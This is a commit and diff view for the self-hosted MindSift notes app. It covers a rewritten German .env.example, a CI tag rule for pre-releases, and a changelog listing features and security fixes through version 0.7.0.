2026-10-29 11:04:31 +01:00
sandrodach 51a41df14b feat(theme): revise Polarized to classic green/teal dark palette 2026-10-29 09:15:20 +01:00
sandrodachandClaude Opus 5.5 35021a7352 Merge branch 'dev': nested demo note
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 09:14:33 +01:00
sandrodachandClaude Opus 5.5 82a5b6c4ad feat(demo): deeply nested sample note to try out zooming
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 59s
"Hausrenovierung 2027" in Privat goes down seven levels (floor → room →
topic → appointment → variants → details) with tasks and hashtags mixed
in, so zooming into a branch and back via the breadcrumb shows something
realistic.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 09:14:31 +01:00
sandrodachandClaude Opus 5.5 99b802e96a Merge branch 'dev': version 0.4.1
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 09:07:18 +01:00
sandrodachandClaude Opus 5.5 4b9cf332b3 release: v0.4.1 – Polarized and Suri themes, due times, notes trash, backlinks, password reset, offline PWA
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m43s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 09:07:16 +01:00
186 changed files with 15268 additions and 2521 deletions

No files matched your search

+116 -15
View File
@@ -1,27 +1,128 @@
# MindSift Environment Configuration
PORT=8080
DATA_DIR=/data
DATABASE_URL=sqlite:///data/mindsift.db
JWT_SECRET=change_this_to_a_secure_random_key_min_32_chars
BASE_URL=http://localhost:8080
ALLOW_REGISTRATION=false
# Logging level: debug, info, warn, error (Default: info)
LOG_LEVEL=info
# LOG_LEVEL=debug
# DEBUG=true
# MindSift – Einstellungen
# Kopieren nach .env (cp .env.example .env) und anpassen; docker-compose.yml liest die Werte von dort.
# Leer gelassene Werte nehmen den Standard aus docker-compose.yml. Nach Änderungen: docker compose up -d
# Optional SMTP Server Configuration for Email Alarms (can also be set in Admin Settings UI)
# ─── Grundeinstellungen ────────────────────────────────────────────────────────────────────────────
# Port auf dem Host, unter dem MindSift erreichbar ist (im Container immer 8080).
PORT=8080
# Geheimer Schlüssel für die Anmeldung, mindestens 32 zufällige Zeichen, z. B. von: openssl rand -hex 32
# Bekannte Beispielwerte (wie dieser) werden ignoriert; dann erzeugt MindSift selbst einen und legt ihn in data/ ab..
JWT_SECRET=change_this_to_a_secure_random_key_min_32_chars
# Öffentliche Adresse der Instanz, so wie sie im Browser aufgerufen wird. Wird für Links in E-Mails
# (Passwort zurücksetzen) gebraucht und beschränkt, von welcher Adresse Live-Verbindungen kommen dürfen.
BASE_URL=http://localhost:8080
# Zeitzone für Fälligkeiten und Alarme (Standard Europe/Berlin).
TZ=Europe/Berlin
# true = jeder darf sich ein Konto anlegen; false = nur mit Einladungscode vom Admin.
# Lässt sich später in Administration → Server & Isolation ändern.
ALLOW_REGISTRATION=false
# ─── Sicherheit ────────────────────────────────────────────────────────────────────────────────────
# Wessen Angaben zur Besucher-Adresse (X-Forwarded-For / X-Real-IP) geglaubt werden. Wichtig für die
# Login-Sperre hinter einem Reverse-Proxy.
# private Proxys im lokalen Netz, Docker-Netz oder Tailscale (Standard, passt für die meisten Setups)
# none keinem Proxy glauben (MindSift direkt im Internet)
# all jedem glauben (schaltet die Prüfung ab)
# Liste zusätzlich eigene Adressen, z. B. private,203.0.113.0/24 (Cloudflare und andere externe Proxys)
TRUSTED_PROXIES=private
# Sperre nach Fehlversuchen beim Login und Limits für Registrierung und „Passwort vergessen“.
# false schaltet beides ab (nur sinnvoll, wenn ein vorgeschalteter Dienst das übernimmt).
LOGIN_PROTECTION=true
# ─── Protokoll ─────────────────────────────────────────────────────────────────────────────────────
# Wie ausführlich das Container-Log ist: debug, info, warn oder error.
LOG_LEVEL=info
# true = ausführliches Protokoll aller Anfragen und der Synchronisation (wie LOG_LEVEL=debug).
DEBUG=false
# ─── Demo ──────────────────────────────────────────────────────────────────────────────────────────
# true = öffentliche Demo: legt die Konten admin/admin und user/user mit Beispieldaten an. Die Demo
# verschickt nichts (keine Mails, Webhooks, Alarme) und schützt die gemeinsam genutzten Konten.
MINDA_DEMO=false
# Nur in der Demo: alle so viele Minuten auf die Beispieldaten zurücksetzen (0 = nie).
DEMO_RESET_MINUTES=20
# ─── E-Mail (optional) ─────────────────────────────────────────────────────────────────────────────
# Für Alarm-Mails und „Passwort vergessen“. Lässt sich alternativ in Administration → E-Mail einstellen;
# Werte dort haben Vorrang.
# Mailserver, z. B. smtp.example.com. Leer = kein Mailversand.
SMTP_HOST=
# 587 (STARTTLS) oder 465 (TLS ab Verbindungsbeginn).
SMTP_PORT=587
# Anmeldung am Mailserver; leer, wenn der Server keine verlangt.
SMTP_USER=
SMTP_PASS=
SMTP_FROM=noreply@mindsift.local
# Absenderadresse, z. B. noreply@example.com. Leer = SMTP_USER bzw. noreply@mindsift.local.
SMTP_FROM=
# Name, den Mailprogramme als Absender zeigen (wenn SMTP_FROM nur eine Adresse ist).
# Ein Name direkt in SMTP_FROM ("Mein Dienst <noreply@example.com>") hat Vorrang.
SMTP_FROM_NAME=MindSift
# true = nur verschlüsselt senden.
SMTP_TLS=true
# Only for internal mail servers with self-signed certificates
# true = selbstsignierte Zertifikate akzeptieren (nur für interne Mailserver).
SMTP_SKIP_VERIFY=false
# Optional legal notices: external link and/or Markdown (inline or as file path)
# ─── Impressum und Datenschutz (optional) ──────────────────────────────────────────────────────────
# Werden auf der Anmeldeseite und in den Einstellungen verlinkt. Entweder als Link auf eine externe
# Seite (nur http/https) oder als Markdown-Text, direkt hier oder als Datei (per Volume einbinden).
# Ohne Angaben bleiben die Links unsichtbar.
LEGAL_IMPRINT_URL=
LEGAL_PRIVACY_URL=
LEGAL_IMPRINT_CONTENT=
LEGAL_PRIVACY_CONTENT=
# Pfad im Container, z. B. /legal/impressum.md
LEGAL_IMPRINT_CONTENT_FILE=
LEGAL_PRIVACY_CONTENT_FILE=
# ─── Bilder und Audio in Notizen ───────────────────────────────────────────────────────────────────
# Dateien liegen in data/media/ und sind nur für Personen sichtbar, die die Notiz lesen dürfen. Nicht mehr
# verwendete Dateien räumt MindSift nach einem Tag selbst weg.
# Größtes Bild in MB (der Browser verkleinert Fotos vorher auf höchstens 2048 Pixel).
MEDIA_MAX_IMAGE_MB=15
# Größte Audiodatei in MB (Sprachnotiz oder hochgeladene Datei).
MEDIA_MAX_AUDIO_MB=50
# Speicherplatz für Medien pro Person in MB; 0 = unbegrenzt.
MEDIA_QUOTA_MB=0
# Nur in der Demo: größte Datei in MB (Dateien verschwinden beim Demo-Reset).
MEDIA_DEMO_MAX_MB=3
# ─── Spracherkennung (optional) ────────────────────────────────────────────────────────────────────
# Ohne STT_URL nutzt MindSift die Spracherkennung des Browsers (Chrome, Edge, Safari; die Aufnahme geht
# dabei an Google, Microsoft bzw. Apple). Mit eigenem Whisper-Server bleibt alles auf deinem Server und
# es funktioniert in allen Browsern. Dazu den Block „whisper“ in docker-compose.yml einkommentieren
# (Anleitung steht dort). Fehler stehen im Log: docker compose logs mindsift whisper
# Adresse des Whisper-Servers (OpenAI-kompatibel, z. B. speaches). Gesetzt = Server-Modus.
STT_URL=
# Modell: deepdml/faster-whisper-large-v3-turbo-ct2 (beste Erkennung, ca. 2 GB RAM, langsamer)
# Systran/faster-whisper-small (ca. 1 GB RAM, deutlich schneller, kleine Fehler)
STT_MODEL=deepdml/faster-whisper-large-v3-turbo-ct2
# Sprachcode, z. B. de oder en; auto = automatisch erkennen.
STT_LANGUAGE=de
# Nur falls der Whisper-Server einen Schlüssel verlangt (bei speaches: dessen API_KEY).
STT_API_KEY=
# true = Mikrofon überall ausblenden, auch die Browser-Erkennung.
STT_DISABLED=false
# Schutzwerte für den Server-Modus
# Längste Aufnahme in Sekunden; danach beendet der Browser die Aufnahme selbst.
STT_MAX_SECONDS=600
# Größte Aufnahme in MB.
STT_MAX_UPLOAD_MB=25
# Wie viele Erkennungen gleichzeitig laufen; weitere warten in der Schlange. 1 schont schwache CPUs.
STT_MAX_PARALLEL=1
# Erkennungen pro Person und Stunde.
STT_PER_USER_PER_HOUR=60
# Höchstdauer einer Erkennung in Sekunden, Warten in der Schlange eingeschlossen.
STT_TIMEOUT_SECONDS=120
+2
View File
@@ -4,6 +4,7 @@ name: MindSift CI & Docker Release
# push to dev -> :dev
# push/merge main -> :latest
# git tag v1.2.0 -> :v1.2.0 and :stable
# git tag v1.2.0-rc.1 (pre-release) -> :v1.2.0-rc.1 only, :stable stays
on:
push:
branches:
@@ -39,6 +40,7 @@ jobs:
# All tags of this run (space separated)
case "${GITHUB_REF:-}" in
refs/tags/*-*) TAGS="${DOCKER_TAG}" ;;
refs/tags/*) TAGS="${DOCKER_TAG} stable" ;;
refs/heads/main) TAGS="latest" ;;
*) TAGS="${DOCKER_TAG}" ;;
+3
View File
@@ -18,3 +18,6 @@ dev-data/
.idea/
.vscode/
e2e/node_modules/
# Whisper models (docker compose service "whisper")
whisper/
+209
View File
@@ -0,0 +1,209 @@
# Changelog
Alle nennenswerten Änderungen an MindSift stehen in dieser Datei.
Das Format folgt [Keep a Changelog](https://keepachangelog.com/de/1.1.0/), die Versionsnummern folgen ab v0.6.0 [Semantic Versioning](https://semver.org/spec/v2.0.0.html). Solange die Hauptversion 0 ist, können sich API und Datenformate mit jeder Minor-Version ändern; solche Änderungen stehen unter „Changed“ bzw. „Removed“ und sind mit **Achtung** markiert.
## [Unreleased]
## [0.7.0] - 2026-10-30
### Added
- Punkt in eigene Notiz umwandeln: Knopf am Punkt (Desktop) oder `/extract` bzw. `/notiz`. Der Punkt wird Titel, seine Unterpunkte der Inhalt der neuen Notiz im selben Ordner; an seiner Stelle bleibt ein `[[Link]]` (Hashtags bleiben dort). In geteilten Notizen übernimmt die neue Notiz die Freigaben.
- Notizen zusammenführen: in der Seitenleiste eine Notiz auf eine andere ziehen oder im Kopf der Notiz „Mit anderer Notiz zusammenführen…“. Die Quelle wird als Abschnitt (Überschrift mit Unterpunkten) angehängt und wandert in den Papierkorb; „Rückgängig“ im Hinweis macht beides rückgängig.
- Eigene Spracherkennung (optional): Mit `STT_URL` schickt MindSift Aufnahmen an einen selbst betriebenen Whisper-Server (OpenAI-kompatibel, z. B. speaches) statt an Google oder Microsoft. Einstellung nur per Umgebungsvariablen (`STT_*`) inklusive Grenzwerten; `docker-compose.yml` enthält den Dienst `whisper` als auskommentierten Block zum Einschalten, das Modell lädt MindSift beim ersten Start selbst. Administration → Server & Isolation zeigt den aktiven Modus und bietet eine Testaufnahme. In der Demo bleibt es bei der Browser-Erkennung.
- API: `POST /voice/transcribe`, `GET /admin/voice`; `/auth/status` meldet `voice.mode`.
- Bilder in Notizen: `/image` (auch `/bild`) in einem leeren Punkt öffnet direkt im Punkt eine Auswahl – Datei, Kamera (Handy), Hineinziehen, Einfügen mit Strg+V oder Bild-Link (der Server übernimmt eine Kopie). Fotos werden vor dem Hochladen auf höchstens 2048 px verkleinert und als WebP gespeichert, Standortdaten entfallen dabei. Klick vergrößert, darunter eine optionale Beschriftung. Esc oder ✕ macht den Punkt wieder zum leeren Punkt.
- Sprachnotizen in Notizen: `/audio` in einem leeren Punkt zeigt eine Aufnahme-Blase – grüner Knopf startet, er wird rot und links laufen Live-Wellen mit der Zeit, ein Tipp speichert die Aufnahme als Audio-Player im Punkt. Alternativ eine Audiodatei hochladen. Mit eigener Spracherkennung macht „Transkribieren“ aus der Aufnahme die (durchsuchbare) Beschriftung.
- Diktat in Notizen: `/diktat` in einem leeren Punkt hört sofort zu; der Punkt wird zu einer Fläche mit Live-Wellen und „Stopp“, ein Tipp setzt den erkannten Text in den Punkt. Nutzt die eingestellte Spracherkennung (eigener Server oder Browser) und wird ohne Spracherkennung nicht angeboten.
- Backup und Export mit Medien: Das Backup-ZIP (auch die automatischen Server-Backups pro Konto) enthält die Bilder und Sprachnotizen der eigenen Notizen, das Markdown-Archiv legt sie unter `attachments/` ab und bettet sie Obsidian-kompatibel ein. Beim Zurückspielen kommen sie wieder als Bild- und Audioblöcke. Der Obsidian-Import übernimmt jetzt auch eingebettete Bilder und Audiodateien (`![[bild.png]]`, `![](bild.png)`).
- Link-Vorschau in Notizen: Über einem Punkt mit einer Web-Adresse (https) erscheint eine kompakte Karte mit Icon, Seitenname, Titel, einer Zeile Beschreibung und kleinem Bild. Der MindSift-Server ruft die Seite ab (wie bei Bildern nur öffentliche https-Adressen) und speichert die Vorschau 7 Tage; Browser der Leser kontaktieren die Seite nicht. ✕ blendet die Vorschau für diesen Link aus (er wird zu `[Titel](Adresse)`), Darstellung → „Link-Vorschauen anzeigen“ schaltet alle ab. In der Demo aus. API: `GET /link-preview?url=`.
- Medienablage für Notizen (Grundlage für Bilder und Audio): Hochladen, Kopieren externer Bilder, Abruf nur mit Leserecht; Grenzen per `MEDIA_*`; nicht mehr verwendete Dateien werden automatisch entfernt. API: `POST /documents/{id}/media`, `POST /documents/{id}/media/fetch`, `GET /media/{id}`.
- Code-Blöcke in Notizen: Sprachauswahl (rund 50 Sprachen, bei Bedarf nachgeladen), Farben beim Tippen im Stil von VS Code Dark+/Light+ für alle Themes, „Kopieren“, Tab/Shift+Tab rückt ein und aus. `/code yaml` oder ```` ```yaml ```` legt die Sprache direkt fest.
### Changed
- **Hinweis für den Betrieb:** Bilder und Sprachnotizen liegen in `data/media/`, nicht in der Datenbank. Wer den Server sichert, sichert den ganzen Ordner `data/` (der Datenbank-Abzug der Admin-Backups enthält keine Mediendateien). Optional neu in `docker-compose.yml`: der auskommentierte Dienst `whisper`.
- Notizen auf dem Handy: fast kein Seitenrand mehr, Einrückung 14 statt 22 px pro Ebene, Zoom- und Löschknopf belegen nur noch in der aktiven Zeile Platz. Sehr tief verschachtelte Punkte behalten eine lesbare Breite, die Notiz lässt sich dann seitlich verschieben statt den Text zu quetschen.
- E-Mails zeigen einen Absendernamen: `SMTP_FROM_NAME` bzw. das neue Feld „Absender-Name“ in Administration → E-Mail (Standard „MindSift“), wenn die Absenderadresse keinen eigenen Namen enthält.
- Slash-Befehle einheitlich englisch: `/image` statt `/bild` (`/bild` findet ihn weiterhin), kürzere Beschreibungen, breiteres Menü ohne Umbrüche.
- `docker-compose.yml` enthält nur noch die Zuordnungen; alle Erklärungen zu den Variablen stehen in `.env.example`. Neu durchgereicht werden `TZ`, `TRUSTED_PROXIES`, `LOGIN_PROTECTION`, `DEMO_RESET_MINUTES` und `LEGAL_*_CONTENT`, die vorher in `.env` gesetzt wirkungslos blieben.
- Workspace-Seitenleiste wie ein Datei-Explorer: angeheftete Notizen oben, darunter Ordner und Notizen ohne Zwischenüberschriften.
- Spracheingabe in Quick Dump, im mobilen Erfassen-Sheet und beim Halten des +-Knopfs folgt der Server-Einstellung: mit eigenem Whisper-Server funktioniert sie in allen Browsern (auch Firefox), mit Live-Wellen während der Aufnahme und „Wird erkannt…“ danach. Ohne Unterstützung im Browser oder mit `STT_DISABLED=true` ist das Mikrofon ausgeblendet statt einer Fehlermeldung.
## [0.6.1] - 2026-10-29
### Fixed
- Notizen: Wer im Rhythmus tippte (kurze Pausen zwischen den Wörtern), bekam Konfliktkopien gegen sich selbst, auch in nicht geteilten Notizen. Mehrere ungesendete Änderungen an einem Punkt zählten lokal als mehrere Versionen, beim Server aber als eine.
## [0.6.0] - 2026-10-29
### Added
- Profil → „Aktive Sitzungen“: Liste der angemeldeten Geräte mit letzter Nutzung und „Abmelden“ je Gerät.
- API: `GET /auth/sessions`, `DELETE /auth/sessions/{id}`.
- Triage: Gibt es genau eine beschreibbare Liste, setzt „Auf ‹Listenname›“ den Gedanken direkt darauf, ohne Auswahl. Nur lesbar geteilte Listen werden beim Erfassen und in der Triage nicht mehr angeboten.
### Changed
- **Achtung:** Nach dem Update sind alle Benutzer einmal abgemeldet (neue Sitzungsverwaltung, die alte Sperrliste `revoked_tokens` entfällt).
- **Achtung:** `?token=` in der URL von `/webhooks/ingest` nimmt nur noch API-Keys (`mindsift_sec_…`) an.
- **Achtung:** `GET /admin/settings` liefert `smtpPass` nicht mehr; neu ist `smtpPassSet`.
- **Achtung:** `PATCH /auth/settings` verlangt für `password` und `email` das Feld `currentPassword`, sonst `403`.
- Versionsnummern folgen jetzt Semantic Versioning mit dreiteiligen Tags (`v0.6.0`); die Kopfzeile zeigt die volle Version (`v0.6.0-dev` für Entwicklungsstände). Vorabversionen wie `v1.0.0-rc.1` verschieben das Image `:stable` nicht.
- Das Mengenfeld in Listen öffnet auf dem Handy die Zahlentastatur.
### Fixed
- Große Downloads (Backups, Exporte) brachen nach 30 Sekunden ab, große Importe nach 15 Sekunden Upload (FLAW-38).
- Der Offline-Start der App funktioniert zuverlässig: Ein altes Script in der Startseite hat bei jedem Aufruf alle Caches des Service Workers gelöscht.
### Security
- Links in Notizen, Aufgaben-Notizen und Impressum öffnen nur noch `http`, `https` und `mailto`; `javascript:` und ähnliche Links erscheinen als Text. Vorher konnte ein Bearbeiter einer geteilten Aufgabenliste über einen präparierten Link Code im Browser anderer ausführen (FLAW-28).
- Sicherheits-Header für alle Antworten: Content-Security-Policy (Scripts nur von MindSift selbst, keine Einbettung in fremde Seiten), `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy`, `Permissions-Policy` (FLAW-29).
- Passwort und Login-E-Mail lassen sich nur noch mit dem aktuellen Passwort ändern; die bisherige Adresse bekommt eine Hinweismail, wenn SMTP eingerichtet ist (FLAW-30).
- Anmeldungen sind serverseitige Sitzungen: Jedes Gerät lässt sich einzeln abmelden, unbenutzte Sitzungen enden nach 30 Tagen, aktive werden täglich erneuert. Ein neues Passwort meldet alle anderen Geräte ab (FLAW-31).
- IDs neuer Datensätze haben 96 statt 40 Zufallsbits, Einladungscodes eigene 100 Bit (`INV-ABCDE-FGHIJ-KLMNO-PQRST`); vorhandene IDs und Codes bleiben gültig (FLAW-32).
- Registrierung und „Passwort vergessen“ sind pro Adresse begrenzt (20 bzw. 10 Anfragen in 15 Minuten), Einladungscodes lassen sich so nicht durchprobieren (FLAW-39).
- Ein Einladungscode lässt sich auch bei gleichzeitigen Registrierungen nur einmal einlösen (FLAW-40).
- Öffentliche Demo: verschickt nichts mehr (Alarme, Testalarme, SMTP-Test, Hinweismails), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail, Sitzungen und Konten der gemeinsamen Demo-Konten lassen sich nicht ändern; die Sitzungsliste zeigt nur das eigene Gerät (FLAW-33).
- Das SMTP-Passwort wird nie mehr an den Browser geschickt; leer lassen behält das gespeicherte (FLAW-34).
- `?token=` beim Webhook-Ingest nimmt nur noch API-Keys an, keine Sitzungs-Tokens (FLAW-35).
- Anfragekörper sind auf 2 MB begrenzt, Notiz-Sync auf 8 MB, Importe auf 101 MB (FLAW-36).
- Konto löschen entfernt auch die Server-Backups des Kontos (FLAW-37).
## [0.5.2] - 2026-10-29
### Fixed
- Einkaufsliste auf dem Smartphone (iOS): Der `+`-Knopf und der Menüeintrag setzen den Fokus für neue Einträge direkt in der Tipp-Geste statt verzögert nach 60 ms, sodass sich die Bildschirmtastatur auf iOS zuverlässig öffnet; Eingabefelder nutzen mobil 16 px Schriftgröße gegen automatisches Heranzoomen.
## [0.5.1] - 2026-10-29
### Fixed
- Mobiler `+`-Knopf in Triage und Aufgaben: Ein kurzes Antippen öffnet das Erfassen-Sheet wieder über das `click`-Event statt bei `pointerup`, damit der direkt folgende Browser-Klick nicht auf dem Hintergrund-Overlay landet und das Sheet sofort wieder schließt (nach langem Halten für die Sprachaufnahme wird der nachfolgende Klick ignoriert).
## [0.5] - 2026-10-29
### Added
- Automatische tägliche Server- und Benutzer-Backups (`$DATA_DIR/backups`): konsistenter SQLite-Gesamtabzug (`VACUUM INTO`, `.db.gz`) sowie ein MindSift-Backup-ZIP pro aktivem Konto; einstellbare Uhrzeit und Aufbewahrungsdauer (Standard 03:00 Uhr, 3 Tage) unter Administration → Datensicherung inkl. „Jetzt sichern“.
- Kontoeinstellungen → Server-Backups: Eigene Sicherungen herunterladen oder gezielt nach Bereichen (`notes`, `tasks`, `lists`, `inbox`, `themes`) wiederherstellen (ersetzen oder hinzufügen); auch der manuelle MindSift-Import unterstützt die Bereichsauswahl und nimmt eigene Themes mit.
- Mobil: Gedrückthalten des `+`-Knopfs startet eine Sprachaufnahme und legt das Transkript beim Loslassen direkt im Quick Dump ab (nach oben ziehen bricht ab); kurzes Tippen bzw. Tastatur/Screenreader öffnen weiterhin das Erfassen-Sheet.
- API-Key-Scopes (`webhook:triage`, `webhook:task`, `webhook:list`): Auswahl beim Anlegen, Anzeige als Badges und Webhook-Simulator für alle drei Ziele in den Kontoeinstellungen (FLAW-07).
- Demo-Modus: Automatischer Reset alle 20 Minuten (`DEMO_RESET_MINUTES`, `0` = aus) mit Live-Countdown (`✨ Demo · Reset in MM:SS`) in der Kopfzeile; Sitzungen bleiben über feste Demo-Konto-IDs erhalten. Tief verschachtelte Beispielnotiz „Hausrenovierung 2027“ (7 Ebenen) zum Ausprobieren des Zoom-Fokus.
- Zähler für offene Listeneinträge am Reiter „Listen“; die Suche in der Notiz-Seitenleiste öffnet die globale Volltextsuche (`⌘K`).
### Changed
- **Achtung:** WebSocket (`/ws`) und SSE (`/events`) akzeptieren kein `?token=` mehr in der URL, sondern kurzlebige Einmal-Tickets (`POST /auth/stream-ticket`, 60 s gültig) oder den `Authorization`-Header (FLAW-22).
- **Achtung:** Neue Passwörter müssen mindestens 8 Zeichen lang sein (Setup, Registrierung, Profil, Admin, Passwort-Reset) (FLAW-09).
- Nummerierte Datenbank-Migrationen über `schema_migrations`, die genau einmal laufen und bei Fehlern den Start abbrechen statt Fehler zu verschlucken (FLAW-13).
- Echtes ESLint (`eslint.config.js`) im Frontend- und Image-Build sowie erweiterte Frontend-Tests (FLAW-19); vereinheitlichte Zugriffsabfrage für Aufgabenlisten (FLAW-20).
### Fixed
- SQLite-Transaktionen starten mit `BEGIN IMMEDIATE` (`_txlock=immediate`), sodass parallele Schreiber auf das Lock warten statt mit `SQLITE_BUSY` zu scheitern (FLAW-23).
- Mehrstufige Datenbankänderungen (Ordner/Aufgabenlisten/Konten löschen, Freigaben, Passwort-Reset) laufen atomar in Transaktionen und melden Schreibfehler sauber zurück (FLAW-14).
- Fälligkeits-Alarme brechen nach 3 fehlgeschlagenen Zustellversuchen mit einer Warnung ab, statt jede Minute endlos weiterzusenden (FLAW-12).
- Bessere Lesbarkeit (dunkler Text) auf dem Türkis-Akzent des Themes `Polarized` sowie korrekte `rounded-full`-Darstellung runder Icon-Buttons in eckigen Themes.
### Security
- Einmal-Stream-Tickets statt langlebiger Sitzungs-Tokens in WebSocket-/SSE-URLs; `BASE_URL` schränkt CORS- und WebSocket-Origins ein; Abmelden, Passwortwechsel und Kontosperre trennen offene Live-Streams sofort (FLAW-22).
- Berechtigungsprüfung für alle Listeneintrags-Endpunkte und beim Umwandeln von Gedanken in Listeneinträge (Eigentümer oder Bearbeiter erforderlich, verhindert IDOR und Schreibzugriffe durch Leser) (FLAW-27).
- API-Keys sind strikt auf ihre Scopes (`webhook:triage`, `webhook:task`, `webhook:list`) beschränkt und können keine Live-Streams öffnen (FLAW-07).
- Schutz gegen Brute-Force beim Login (Sperre nach Fehlversuchen pro Konto+IP, Konto und IP mit `429` und `Retry-After`) sowie explizite Konfiguration vertrauenswürdiger Reverse-Proxys über `TRUSTED_PROXIES` (FLAW-09).
- `DeleteTaskList` prüft die Eigentümerschaft vor dem Entkoppeln von Aufgaben; Leser können Verknüpfungen zwischen Notiz-Blöcken und Aufgaben nicht mehr aufheben (FLAW-14).
## [0.4.1] - 2026-10-29
### Added
- Fälligkeitsdatum mit optionaler Uhrzeit (`YYYY-MM-DDTHH:MM`); Alarme berücksichtigen Uhrzeit (bzw. 09:00 Uhr bei ganztägigen Aufgaben), Vorlaufzeit (`notify_before_minutes`) und Zeitzone (`TZ`, Standard `Europe/Berlin`) (FLAW-12).
- Papierkorb für Notizen (`GET/POST/DELETE /documents/trash…`): Gelöschte Notizen und Ordner landen im Papierkorb, verschwinden aus Baum, Suche und Export und lassen sich vom Eigentümer wiederherstellen oder endgültig löschen.
- Backlinks am Ende einer Notiz (`GET /documents/{id}/backlinks`): Zeigt alle zugänglichen Notizen und Punkte, die per `[[Titel]]` auf die aktuelle Notiz verweisen, mit direktem Sprung zum Punkt.
- „Passwort vergessen?“ auf dem Anmeldebildschirm (wenn SMTP und `BASE_URL` eingerichtet sind): Einmal-Link per E-Mail (SHA-256-Hash gespeichert, 1 Stunde gültig), setzt das Passwort zurück und beendet alle bestehenden Sitzungen.
- Offline-fähige PWA: Service Worker hält die App-Shell vor, gelesene Daten werden pro Benutzer in IndexedDB zwischengespeichert und offline erfasste Gedanken sowie abgehakte Aufgaben/Listeneinträge über eine Outbox bei Rückkehr der Verbindung synchronisiert.
- Zwei neue dunkle Themes: `Polarized` (Obsidian & Türkis/Smaragd) und `Suri` (Mitternachts-Pflaume & Orchidee).
### Changed
- Aufteilung von `internal/storage/sqlite.go` und `internal/api/server.go` in domänenspezifische Dateien ohne Verhaltensänderung (FLAW-20).
### Security
- Ohne gesetztes `JWT_SECRET` (oder bei bekannten Platzhaltern) erzeugt der Server einmalig ein zufälliges 32-Byte-Geheimnis in `data/jwt.secret` (`0600`), statt ein öffentlich bekanntes Standard-Secret zu verwenden (FLAW-04).
- SSRF-Schutz für Discord- und benutzerdefinierte Alarm-Webhooks: Nur `https`, Host-Prüfung für Discord, Blockieren von Loopback/Link-Local/Cloud-Metadata bei der DNS-Auflösung; private Netze und `http` nur über expliziten Admin-Schalter (`allowPrivateWebhooks`) (FLAW-05).
- Einheitliche Authentifizierungsprüfung für Middleware und Webhook-Ingest inkl. Sperrliste, `token_version` und aktivem Konto; API-Keys dürfen keine Lese- oder Verwaltungs-Endpunkte mehr aufrufen (FLAW-07, FLAW-08).
## [0.4] - 2026-10-29
### Added
- Daten-Import mit Vorschau (`?preview=1`) und Größen-/Pfad-Limits: Wiederherstellen oder Hinzufügen von MindSift-Backups (JSON, ZIP oder Markdown-Archiv via `POST /import/mindsift`) sowie Import ganzer Obsidian-Vaults als ZIP (`POST /import/obsidian`).
- Vollständiger Datenexport auch als komprimiertes ZIP-Archiv (`GET /export?format=zip`).
- Wiederkehrende Aufgaben (`daily`, `weekly`, `monthly`, `yearly`): Beim Abschließen einer Aufgabe wird automatisch die nächste Instanz zum Folgetermin angelegt.
- Gefahrenzone in den Kontoeinstellungen: Eigene Daten (`DELETE /user/data`) oder das gesamte eigene Konto (`DELETE /user/account`) nach Passwortbestätigung löschen (der letzte Server-Admin ist vor Selbstlöschung geschützt).
- PWA-Startbildschirm (Splash Screen) und automatische Anpassung der Statusleisten-Farbe (`theme-color`) an das aktive Theme.
### Fixed
- SMTP-Versand fällt auf `AUTH LOGIN` zurück, wenn der Server `AUTH PLAIN` ablehnt (z. B. Postfix/Dovecot oder Exchange); das Port-Feld in den Admin-Einstellungen lässt sich leeren und ohne Typfehler speichern.
- Mobil: Formular-Sheets (`FormSheet`) und Emoji-Picker positionieren sich über der Bildschirmtastatur (`visualViewport`).
- Ältere Datenbanken werden beim Start nicht mehr durch den früheren Schema-Reset geleert.
## [0.3] - 2026-10-29
### Added
- Organisationen und Sichtbarkeits-Modi (`private`, `organizations`, `open`), verwaltet durch Server-Admins; bestimmt zentral, wer wen in der Benutzersuche sieht und mit wem Inhalte geteilt werden können (FLAW-10, FLAW-24).
- Aufgaben-Zuweisung (`assignees`) in geteilten Aufgabenlisten, einheitliche Benutzersuche (`UserAutocomplete`), Avatar-Stapel (`AvatarStack`) und runde Zähler-Badges (`CountBadge`).
- Eigene CSS-Themes pro Benutzer (`GET/POST /themes`, `DELETE /themes/{id}`): `.css`-Datei hochladen oder einfügen, Vorlage herunterladen und live umschalten.
- Globale Volltextsuche über Gedanken, Aufgaben, Notizen und Listeneinträge auf Basis von SQLite FTS5 mit BM25-Ranking, Berechtigungsprüfung und `⌘K`/`Ctrl+K`-Befehlspalette (FLAW-18).
- Obsidian-kompatibler Markdown-Export (`GET /export/markdown`) als gestreamtes ZIP-Archiv über alle Notizen, Ordner, Aufgabenlisten und Listen.
- Vollständige Emoji-Auswahl für Notiz-Icons (Lazy-Loading, auf dem Smartphone als Bottom-Sheet).
- Optionale Links/Texte für Impressum und Datenschutz (`LEGAL_IMPRINT_*`, `LEGAL_PRIVACY_*`, `GET /legal/{imprint|privacy}`) sowie „Über MindSift“-Dialog.
- Veröffentlichung unter [The Unlicense](LICENSE) (gemeinfrei, FLAW-21).
### Changed
- **Achtung:** Nur noch Eigentümer können Ressourcen (Aufgabenlisten, Listen, Notizen, Ordner) teilen; das alte Feld `task_lists.team_id` und die ungeschützten `/organizations`-Routen entfallen. Entfällt die Sichtbarkeit (z. B. durch Organisationswechsel), werden Freigaben, Gruppenmitgliedschaften und Zuweisungen automatisch bereinigt (FLAW-06, FLAW-10, FLAW-24).
- Demo-Modus setzt die Datenbank bei jedem Serverstart sauber zurück und befüllt sie neu.
### Fixed
- SMTP-Client mit explizitem Protokollablauf (`EHLO` mit Absender-Domain, `STARTTLS`, `AUTH`, RFC-2047-Header, `SMTP_SKIP_VERIFY` für selbstsignierte Zertifikate).
- Tailwind-Deckkraft-Modifikatoren (`bg-accent/15` usw.) funktionieren über `color-mix()` mit allen Theme-Variablen.
- Mobil- und Desktop-Verbesserungen: Stilles Nachladen von Aufgabenlisten ohne Verschlucken von Klicks, `#`-Anker in URLs werden nicht mehr als Hashtags erkannt, mehrzeilige Aufgaben-Notizen im Dialog voll scrollbar.
## [0.2.1] - 2026-10-28
